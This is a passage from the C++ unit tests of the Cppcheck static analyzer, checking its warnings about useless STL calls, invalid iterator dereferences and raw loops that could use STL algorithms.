s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, 